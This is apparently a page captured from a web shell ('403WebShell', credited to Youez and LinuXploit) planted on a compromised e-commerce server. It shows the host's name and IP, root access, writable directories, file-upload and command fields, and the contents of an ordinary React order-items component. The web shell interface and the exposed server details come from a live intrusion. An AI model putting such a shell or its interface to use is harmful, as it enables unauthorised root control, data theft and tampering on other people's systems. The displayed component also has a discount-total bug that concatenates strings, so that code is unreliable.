Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/control.machinox.in/src/Common/OrderItems/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/control.machinox.in/src/Common/OrderItems/order.tsx
import React, { useEffect } from 'react';
import { Card, Row, Col } from 'react-bootstrap';
import { TooltipDiscount } from '../Tooltip/discountTooltip';
import PlaceHolderImage from "@/assets/images/no_image_placholder.webp";
import { useTranslation } from 'react-i18next';
import HelperService from '@/Services/HelperService';


interface PropsData {
  orderDetails: any,
  items: Array<any>;
}

const OrderItems = (props: PropsData) => {

  const {t} = useTranslation();

  const [discountBreakUp, setDiscountBreakUp] = React.useState<any>([]);
  console.log(props, "props");
  const handleProductAndVariantPrice = (itemTotal: number, variants: any) => {
    let total = itemTotal.toFixed(2);
    if (variants.length > 0) {
      variants.map((variant: any) => {
        let variantTotal = variant?.base_price * variant?.quantity;
        total = (Number(variantTotal) + Number(total)).toFixed(2);
      })
    }
    return HelperService.getFormattedCurrency(total);
  };

  useEffect(() => {
    if (props?.orderDetails) {
      let breakup = [
        {
          label: "Coupon Discount",
          amount: props?.orderDetails?.discount
        },
        {
          label: "Reward Discount",
          amount: props?.orderDetails?.reward_point_discount
        },
      ];
      setDiscountBreakUp(breakup);
    }
  }, [props?.orderDetails]);

  const calculateTax = (itemTotal: number, taxRate: number) => {
    const taxAmount = (itemTotal * taxRate / 100).toFixed(2);
    return HelperService.getFormattedCurrency(Number(taxAmount));
  };

  const totalDiscountCalculate = () => {
    let coupon_discount = props?.orderDetails?.discount;
    let reward_discount = props?.orderDetails?.reward_point_discount;
    let total = Number(coupon_discount) + Number(reward_discount).toFixed(2);
    console.log(total, "total");
    return HelperService.getFormattedCurrency(Number(total));
  }

  return (
    <Card className="card-style mb-lg-4 mb-3 mx-3">
      <Card.Body>
        {props?.items && props?.items.length > 0 && (
          <>
            <Card.Title>
              <Row className="w-100 mb-3 ">
                <Col lg={3} md={3} sm={3} xs={12} className="d-flex align-items-center flex-column ">
                  <p className="fw-bold">{t('product_image')}</p>
                </Col>
                <Col lg={2} md={2} sm={2} xs={12} className="d-flex align-items-center flex-column ">
                  <p className="fw-bold">{t('product_name')}</p>
                </Col>
                <Col lg={2} md={2} sm={2} xs={12} className="d-flex align-items-center flex-column ">
                  <p className="fw-bold">{t('quantity')}</p>
                </Col>
                <Col lg={2} md={2} sm={2} xs={12} className="d-flex align-items-center flex-column ">
                  <p className="fw-bold">{t('price')}</p>
                </Col>
                <Col lg={3} md={3} sm={3} xs={12} className="d-flex align-items-center flex-column ">
                  <p className="fw-bold">{t('total')}</p>
                </Col>
              </Row>
            </Card.Title>
            <hr />
            {props.items.map((item: any, index: number) => (
              <Row key={index} className="w-100 mb-3">
                <Col lg={3} md={3} sm={3} xs={12} className="d-flex text-center">
                  <img src={item?.store_product?.product?.image?.image || PlaceHolderImage.src} alt={'no image'} className="img-thumbnail" width={150} />
                </Col>
                <Col lg={2} md={2} sm={2} xs={12} className="d-flex flex-column">
                  <span className='fw-bold'>{item?.store_product?.product?.name}</span><br />
                  {item?.customizations && item?.customizations.length > 0 && <ul key={index}>
                    {item?.customizations.map((custom: any, index: number) => {
                      return (
                        <li className="fw-bold" key={index}>{custom?.name} ({HelperService.getFormattedCurrency(custom?.base_price)})</li>
                      )
                    }
                    )}
                  </ul>}
                </Col>
                <Col lg={2} md={2} sm={2} xs={12} className="d-flex align-items-center flex-column">
                  <p className='fw-bold'>{item?.quantity}</p>
                </Col>
                <Col lg={2} md={2} sm={2} xs={12} className="d-flex align-items-center flex-column">
                  <p className='fw-bold'>{HelperService.getFormattedCurrency(item?.base_price)}</p>
                </Col>
                <Col lg={3} md={3} sm={3} xs={12} className="d-flex align-items-center flex-column">
                  <p className='fw-bold'>{handleProductAndVariantPrice(item?.quantity * item?.base_price, item?.customizations)}</p>
                </Col>
              </Row>
            ))}
          </>
        )}
        <hr />
        <Row className="w-100">
          <Col sm={12} lg={10} xs={10} className="d-flex flex-column "><span className='fw-bold'>Making Instruction :- {props?.orderDetails?.message} </span></Col>
          <Col sm={12} lg={2} xs={2} className="d-flex flex-column ">
            <div className="d-flex align-items-center">
              <div className="col-5">
                <p className="fw-bold">{t('subtotal')}:  </p>
              </div>
              <div className="col-7"><p className="fw-bold">{HelperService.getFormattedCurrency(props?.orderDetails?.sub_total)}</p></div>
              {/* <p className="fw-bold">Subtotal:  <span className='mx-2'> {HelperService.getFormattedCurrency(props?.orderDetails?.sub_total)}</span></p> */}
            </div>
            <div className="d-flex align-items-center">
              <div className="col-5">
                <p className="fw-bold">{t('tax')} ({props?.orderDetails?.taxes}%) : </p>
              </div>
              <div className="col-7">
                <p className="fw-bold"><span className='mx-2 '>{calculateTax(props?.orderDetails?.sub_total, props?.orderDetails?.taxes)}</span></p>
              </div>
            </div>
            <div className="d-flex align-items-center">
              <div className="col-5">
                <p className="fw-bold">{t('discount')}: </p>
              </div>
              <div className="col-7">
                <p className="fw-bold"><span className='mx-2'>{totalDiscountCalculate()}  <TooltipDiscount discountBreakup={discountBreakUp} position="right" /></span></p>
              </div>
            </div>
            <div className="d-flex align-items-center">
              <div className="col-5">
                <p className="fw-bold">{t('grand_total')}: </p>
              </div>
              <div className="col-7">
                <p className="fw-bold"><span className='mx-2'> {HelperService.getFormattedCurrency(props?.orderDetails?.net_amount)}</span></p>
              </div>
            </div>
          </Col>
        </Row>
      </Card.Body>
    </Card>
  );
};

export default React.memo(OrderItems);

Youez - 2016 - github.com/yon3zu
LinuXploit